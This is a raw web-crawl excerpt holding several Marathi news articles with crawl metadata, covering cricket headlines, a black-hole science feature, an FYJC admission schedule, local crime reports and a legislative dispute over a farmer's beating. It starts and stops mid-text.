कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00423.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/marathwada/nanded-news-crime-minor-girl-scolded-55668", "date_download": "2018-09-25T18:00:17Z", "digest": "sha1:JDU52RO63CCPB3SXJC6J4Q3KP4UH24TJ", "length": 11443, "nlines": 177, "source_domain": "www.esakal.com", "title": "nanded news crime minor girl scolded नांदेडमध्ये अल्पवयीन मुलीस फुस लावून पळविले | eSakal", "raw_content": "\nनांदेडमध्ये अल्पवयीन मुलीस फुस लावून पळविले\nमंगळवार, 27 जून 2017\nनांदेड: एका अल्पवयीन मुलीस फुस लावून पळवून नेणाऱ्या युवकावर विमानतळ पोलिस ठाण्यात अपहरणाचा गुन्हा दाखल करण्यात आला आहे.\nविमानतळ पोलिस ठाण्याच्या हद्दीत शिक्षणासाठी आलेल्या एका अल्पवयीन मुलीस प्रेमाच्या जाळ्यात ओढून तिला फुस लावून पळवून नेले. तिच्या पालकाच्या फिर्यादीवरून विमानतळ पोलिस ठाण्यात या युवकावर अपहरणाचा गुन्हा दाखल कऱण्यात आला आहे. पुढील तपास पोलिस उपनिरीक्षक उमाकांत उगले करीत आहेत.\nनांदेड: एका अल्पवयीन मुलीस फुस लावून पळवून नेणाऱ्या युवकावर विमानतळ पोलिस ठाण्यात अपहरणाचा गुन्हा दाखल करण्यात आला आहे.\nविमानतळ पोलिस ठाण्याच्या हद्दीत शिक्षणासाठी आलेल्या एका अल्पवयीन मुलीस प्रेमाच्या जाळ्यात ओढून तिला फुस लावून पळवून नेले. तिच्या पालकाच्या फिर्यादीवरून विमानतळ पोलिस ठाण्यात या युवकावर अपहरणाचा गुन्हा दाखल कऱण्यात आला आहे. पुढील तपास पोलिस उपनिरीक्षक उमाकांत उगले करीत आहेत.\nई सकाळवरील ताज्या बातम्यांसाठी क्लिक करा :\nकट्टर मुस्लिम दहशतवाद संपवून टाकू; मोदी-ट्रम्प यांचे संयुक्त निवेदन\nपुणे: चार धरणांत मिळून 0.12 टीएमसीने वाढ​\nमाण: बोअरवेलमध्ये पडलेल्या मंगेशचा अखेर मृत्यू\nसलाहुद्दीनला ठरविले जागतिक दहशतवादी​\nसर्जिकल स्ट्राइकवर एकही प्रश्‍न नाही: नरेंद्र मोदी​\nमुख्यमंत्र्यांना विठ्ठल पूजेपासून रोखणार​\nशाहू कार्यात तंत्रज्ञानाधारित रोजगाराची बीजं - डॉ. रघुनाथ माशेलकर​\n३१ दिवस, पावणे चारशे तास आणि ४६ हजार पोळ्या​\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nधमकीचा निरोप खुनाचा वाटून धावाधाव\nसंगमेश्वर - खुनाचा गुन्हा दाखल असलेल्या एकाने भावाला तुझे दोन्ही पाय तोडून जंगलात टाकतो, अशी धमकी दिली. घाबरलेल्या त्याच्या पत्नीने आपल्या...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00424.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.saamana.com/black-hole-in-the-space/", "date_download": "2018-09-25T16:34:43Z", "digest": "sha1:FMAP64HVRBQ67TXTALFHUSXRRCB5KQ7D", "length": 21257, "nlines": 263, "source_domain": "www.saamana.com", "title": "विशाल कृष्णविवर | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nकृष्णविवर म्हणजे ब्लॅक होल ही विश्वातली अशी जागा की, तिथे जाणारा प्रकाशही परत येत नाही. साहजिकच तिथे काहीच दिसत नाही. त्याच्या काठावर (इव्हेन्ट होरायझन) लोपलेल्या प्रकाशानंतर सारा अंधार. असे काही ‘आकार’ जेव्हा अवकाश अभ्यासकांना आढळून आले तेव्हा त्यांनी त्याला कृष्णविवर हे नाव दिलं.\nआपल्या आकाशगंगेच्या (मिल्की वे) मध्यभागीसुद्धा प्रचंड वस्तुमानाचं कृष्णविवर आहे. त्याच्याभोवती सारी दीर्घिका फिरते. त्यातील आपल्या सूर्यमालेसारख्या गोष्टीही वेगाने गरगरत असतात. आपली पृथ्वीच सूर्याभोवती सेकंदाला तीस किलोमीटर या वेगाने भ्रमण करत असते आणि सबंध सूर्यमाला आकाशगंगेच्या केंद्राला पंचवीस कोटी वर्षांत एक परिक्रमा करते.\nअशा सगळय़ा गोष्टी आपल्याला ठाऊक असल्या तरी विश्वातील अनेक रहस्ये आपल्याला उलगडलेली नाहीत. विश्वनिर्मितीच्या तेरा अब्ज वर्षांच्या काळातला आपल्या ‘प्रगत’ संशोधनाचा काळ केवळ काल-परवाचा म्हणजे फार तर गेल्या चारेकशे वर्षांतला. त्याचा आरंभ गणिती पद्धतीने पूर्वी झाला असला तरी थेट उपकरणाच्या साहाय्याने विश्वाचा वेध घेण्याचा आरंभ १६०९ मध्ये गॅलिलिओने दुर्बिणीद्वारे केला. त्यानंतर आता अवकाशात पाठवलेल्या हबल आणि चंद्रा दुर्बिणींपर्यंत प्रगती झाली आहे.\nत्यामुळे आपल्याला आपल्या आकाशगंगेचंही स्वरूप नीट समजत असून धनु राशीच्या पार्श्वभूमीवर सॅजिटेरियस-ए हे अतिविशाल कृष्णविवर आपल्या आकाशगंगेच्या केंद्रस्थानी असल्याचं लक्षात आलं आहे. आता तसंच दुसरं विशाल कृष्णविवर या केंद्रकाच्या ‘जवळच’ असल्याचं म्हटलं जातंय.\nआता ‘जवळ’ म्हणजे नेमकं किती याचं परिमाण आपल्या रोजच्या व्यवहारातल्या परिमाणांच्या कितीतरी वेगळं असतं. आपल्या सर्वात जवळचा तारा प्रॉग्झिमा सेन्टॉरी हा साडेचार प्रकाशवर्षे अंतरावर आहे. आता एक ‘प्रकाशवर्ष’ म्हणजे ९४६० अब्ज किलोमीटर या न्यायाने गुणाकार करत बसावं लागेल. सर्वात जवळजी आकाशगंगा देवयानी याच परिमाणाने २२ लाख प्रकाशवर्षे अंतरावर आहे.\nहे जे नवं कृष्णविवर आकाशगंगेच्या केंद्रापाशी सापडलंय तेसुद्धा त्या केंद्रकापासून २०० प्रकाशवर्षे अंतरावर असल्याचं म्हटलं जातं. या कृष्णविवराचा विस्तारसुद्धा १५० ट्रिलियन किलोमीटर इतका रुंद आहे. याचा अर्थ १५० वर १२ शून्य ठेवल्यानंतर जेवढे किलोमीटर होतील तेवढा हा आकार आहे\nइतक्या प्रचंड वस्तुमानाचं हे कृष्णविवर अतिप्रचंड गुरुत्वाकर्षणशक्ती असलेलं असणार हे उघडच आहे. एखाद्या ताऱयाच्या अंतानंतर त्याचं न्यूट्रॉन तारा, श्वेतखुजा किंवा कृष्णविवरात कधी रूपांतर होतं याचं संशोधन भौतिकशाश्त्राचं नोबेल पारितोषिक मिळालेले हिंदुस्थानी वंशाचे संशोधक सुब्रमण्यम चंद्रशेखर यांनी केलं. आपल्या सूर्याच्या समाप्तीच्या वस्तुमानाच्या ३.४४ पेक्षा जास्त वस्तुमान एखाद्या संपुष्टात आलेल्या ताऱयाचं असेल तर ते कृष्णविवरात रूपांतर होणार असतं. कृष्णविवरांचा शोधच मुळी तिथून प्रकाशही परावर्तित होत नाही यातून लागला.\nआता आपल्या दीर्घिकेच्या केंद्रकाजवळचं विशाल कृष्णविवर सापडल्याने संशोधनातला आणखी एक टप्पा गाठला गेला. आपल्या ‘आयुका’ संस्थेतील संशोधकांनी ‘सरस्वती’ हे दीर्घिकांचे सुपर-क्लस्टर शोधून अवकाश संशोधनातील आपली प्रगती यापूर्वीच अधोरेखित केली आहे. विज्ञान हाच उद्याचा ‘मंत्र’ आहे. मात्र तो सुज्ञपणे ‘जपला’ पाहिजे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलदहशतवाद्यांनी घरात घुसून केली बीएसएफच्या निवृत्त जवानाची हत्या\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nलेख : नेपाळमधील जलविद्युत क्षेत्र आणि हिंदुस्थान\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00424.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.saamana.com/fyjc-second-merit-list-on-16-july/", "date_download": "2018-09-25T16:34:36Z", "digest": "sha1:N4ZPUSMW3PLEXIG3AQRF4237PVKWZSU3", "length": 18267, "nlines": 268, "source_domain": "www.saamana.com", "title": "पावसामुळे अकरावी प्रवेशाचे तीनतेरा, दुसरी गुणवत्ता यादी १३ ऐवजी १६ जुलैला | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nपावसामुळे अकरावी प्रवेशाचे तीनतेरा, दुसरी गुणवत्ता यादी १३ ऐवजी १६ जुलैला\nमुसळधार पावसाने अकरावी ऑनलाईन प्रवेशाचे तीनतेरा वाजले आहेत. अकरावी प्रवेशाचे वेळापत्रक पुढे ढकलण्यात आले आहे. नियोजित वेळापत्रकानुसार अकरावीची दुसरी गुणवत्ता यादी १३ जुलैला जाहीर होणार होती. पण पावसामुळे पहिल्या यादीतील प्रवेशप्रक्रिया पूर्ण न झाल्याने दुसरी यादी १६ जुलैला जाहीर होणार आहे. दरम्यान पहिल्या गुणवत्ता यादीनुसार प्रवेश घेण्यास उद्या ११ जुलै सायंकाळी ५ वाजेपर्यंत मुदतवाढ देण्यात आली आहे. पहिल्या यादीतील प्रवेश पूर्ण झाल्यानंतर कॉलेजना पहिल्या फेरीतील प्रवेश अपडेट व रद्द करून रिक्त जागांचा तपशील जाहीर करण्यासाठीही उद्या ११ जुलैपर्यंत मुदत आहे. त्यानंतर १२ आणि १३ जुलैला सकाळी ११ ते सायंकाळी ६ यावेळेत विद्यार्थ्यांनी दुसऱया गुणवत्ता यादीसाठी ऑनलाईन अर्जात कॉलेज पसंतीक्रम भरायचे आहेत, अशी माहिती शिक्षण उपसंचालक राजेंद्र अहिरे यांनी दिले.\n– १६ जुलै, सकाळी ११ वाजता – दुसरी गुणवत्ता यादी जाहीर\n– १६ ते १८ जुलै, सकाळी ११ ते सायंकाळी ५ – दुसऱया यादीनुसार प्रवेश\n– १९ जुलै, सकाळी ११ वाजता – दुसऱया यादीचा कटऑफ आणि रिक्त जागांचा तपशील जाहीर\n-१९ ते २० जुलै, सकाळी ११ ते सायंकाळी ६ – तिसऱया यादीसाठी कॉलेज पसंतीक्रम भरणे\n– २३ जुलै, सकाळी ११ वाजता – तिसरी गुणवत्ता यादी जाहीर\n– २४ ते २६ जुलै, सकाळी ११ ते सायंकाळी ५ – तिसऱया यादीनुसार प्रवेश\n– २७ जुलै, सकाळी ११ वाजता – तिसऱया यादीचा कटऑफ आणि रिक्त जागांचा तपशील जाहीर\n– २७, २८ जुलै, सकाळी ११ ते सायंकाळी ६ – चौथ्या यादीसाठी कॉलेज पसंतीक्रम भरणे\n– ३० जुलै, सकाळी ११ वाजता – चौथी गुणवत्ता यादी जाहीर\n– ३० जुलै ते २ ऑगस्ट, सकाळी ११ ते सायंकाळी ५ – चौथ्या यादीनुसार प्रवेश\n– २ ते ४ ऑगस्ट – बायफोकल अभ्यासक्रमासाठी प्रवेश घेण्यास इच्छुक विद्यार्थ्यांना संधी.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00424.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AE%E0%A4%B9%E0%A4%BF%E0%A4%B2%E0%A4%BE-%E0%A4%A4%E0%A4%B9%E0%A4%B8%E0%A5%80%E0%A4%B2%E0%A4%A6%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%AA%E0%A4%B0%E0%A5%8D/", "date_download": "2018-09-25T17:03:36Z", "digest": "sha1:UPYJZVWCTZB6YIOAAXRE57BGZGTL4Z6N", "length": 6235, "nlines": 128, "source_domain": "www.dainikprabhat.com", "title": "महिला तहसीलदारांच्या पर्सवर चोरट्याचा डल्ला | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nमहिला तहसीलदारांच्या पर्सवर चोरट्याचा डल्ला\nसातारा, दि. 6 (प्रतिनिधी) – जिल्हाधिकारी कार्यालयातील महिला तहसीलदाराच्या दालनातून बुधवारी सायंकाळी सहा वाजण्याच्या सुमारास पर्स व त्यातील दहा हजारांची रोकड चोरट्याने लंपास केल्याने जिल्हाधिकारी कार्यालयाच्या आवारात खळबळ उडाली.\nयाबाबत माहिती अशी की, सातारा जिल्हाधिकारी कार्यालयातील तहसीलदार अमिता विजय तळेकर-धुमाळ (वय 40, रा. सातारा) या दिवसभर त्यांच्या दालनात काम करत होत्या. दरम्यान, सायंकाळी बैठकीनिमित्ताने त्या जिल्हाधिकाऱ्यांच्या दालनात गेल्या. त्यावेळी धुमाळ यांनी स्वत:ची पर्स टेबलावर ठेवून त्या बाहेर गेल्या. त्यावेळी चोरट्यांनी त्यांची पर्स लंपास केली. बैठक संपवून त्या दालनात आल्या असता त्यांच्या टेबलावर पर्स नसल्याचे निदर्शनास आले. चोरीला गेलेल्या पसरमध्ये दहा हजार रोख, बॅंकेचे एटीएम, पॅनकार्ड, आधारकार्ड अशी महत्त्वाची कागदपत्रे होती.\nयाबाबत बुधवारी रात्री उशिरा सातारा शहर पोलीस ठाण्यात गुन्हा दाखल झाला. पोलीस नाईक गायकवाड तपास करीत आहेत.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleसंगमनेरच्या दोन गॅस वितरकांवर कारवाई\nNext articleक्रांतीवीर नागनाथअण्णांच्या जेल उडीचा साताऱ्यात अमृत महोत्सव\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00425.warc.wet.gz", "language": "mr", "language_score": 0.81, "bucket": "all"} {"url": "http://www.esakal.com/maharashtra/no-loanwaiver-farmers-asud-shots-37006", "date_download": "2018-09-25T17:23:13Z", "digest": "sha1:22UBTTKTIUPFFH4NS5J53VS5B3DNVWW2", "length": 14822, "nlines": 181, "source_domain": "www.esakal.com", "title": "no loanwaiver; but farmers asud shots कर्जमाफी नाही; पण शेतकऱ्यांवर आसुडाचे फटके - सुनील तटकरे | eSakal", "raw_content": "\nकर्जमाफी नाही; पण शेतकऱ्यांवर आसुडाचे फटके - सुनील तटकरे\nरविवार, 26 मार्च 2017\nमुंबई - शेतकऱ्यांना कर्जमाफी तर नाहीच; पण मंत्रालयात शेतकऱ्यांवर आसुडाचे फटके ओढले जात असल्याचा घणाघात राष्ट्रवादी कॉंग्रेसचे नेते सुनील तटकरे यांनी विधान परिषदेत केला. मंत्रालयात शेतकऱ्याला पोलिसांकडून झालेल्या मारहाणीचे तीव्र पडसाद शनिवारी (ता. 25) विधान परिषदेत उमटले. 29 मार्चपर्यंत या प्रकरणाचा अहवाल सभागृहासमोर सादर करून याविषयीचे निवेदन करावे, असे निर्देश सभापती रामराजे नाईक निंबाळकरांनी दिले. विरोधकांनी केलेल्या गोंधळातच विनियोजन लेखानुदान विधेयक मंजूर करून घेत सभापतींनी दिवसभरासाठी कामकाज तहकूब केले.\nशेतकऱ्यांच्या कर्जमाफीसाठी विधान परिषदेत विरोधकांनी कामकाज रोखून धरल्याने विनियोजन लेखानुदान विधेयक मंजुरीअभावी पेच निर्माण झाला होता. विरोधकांच्या गोंधळात लेखानुदान मंजूर करून घेण्यास सत्ताधाऱ्यांना यश मिळाले असले, तरी विरोधकांनी या निमित्ताने मंत्रालयात शेतकऱ्याला झालेल्या मारहाणीवरून सत्ताधाऱ्यांना खडेबोल सुनावण्याची संधी सोडली नाही. प्रश्‍नोत्तराचा तास गोंधळामुळे एक तासासाठी स्थगित केल्यानंतर सभागृह सुरू झाल्यानंतर सुनील तटकरे यांनी शेतकरी मारहाणीकडे सभागृहाचे लक्ष वेधत स्थगन प्रस्ताव मांडला. मंत्रालयात ज्याप्रमाणे शेतकऱ्याला मारहाण केली गेली, हा शेतकऱ्यांचा अवमान आहे, असे सांगत यासंदर्भातला अहवाल येत्या दोन दिवसांत घटनाक्रमासह मांडला जावा आणि दोषींवर कठोर कारवाई करण्यात यावी, अशी मागणी तटकरे यांनी केली. शेतकऱ्यांना कर्जमाफी देता येत नसेल, तर कर्जमाफी मागायला आलेल्या शेतकऱ्यांच्या सुरक्षिततेची खबरदारी तरी घ्या, असा टोलाही त्यांनी सत्ताधारी पक्षाला हाणला.\nकॉंग्रेसचे गटनेते शरद रणपिसे यांनी मारहाण झालेल्या शेतकऱ्याने त्यांच्या जवळ कथन केलेला वृत्तांत या वेळी सभागृहाला सांगितला. \"हा शेतकरी राज्यमंत्री सदाभाऊ खोत यांच्याकडे गेला होता; पण त्यांनी हात झटकले. तसेच पोलिसांनी कृषिमंत्री पांडुरंग फुंडकर यांच्याकडे घेऊन जातो, असे सांगत त्याला लिफ्टमध्ये मारहाण केली. पोलिसांनी या शेतकऱ्याच्या हत्येचा प्रयत्न केला,' असा आरोप रणपिसे 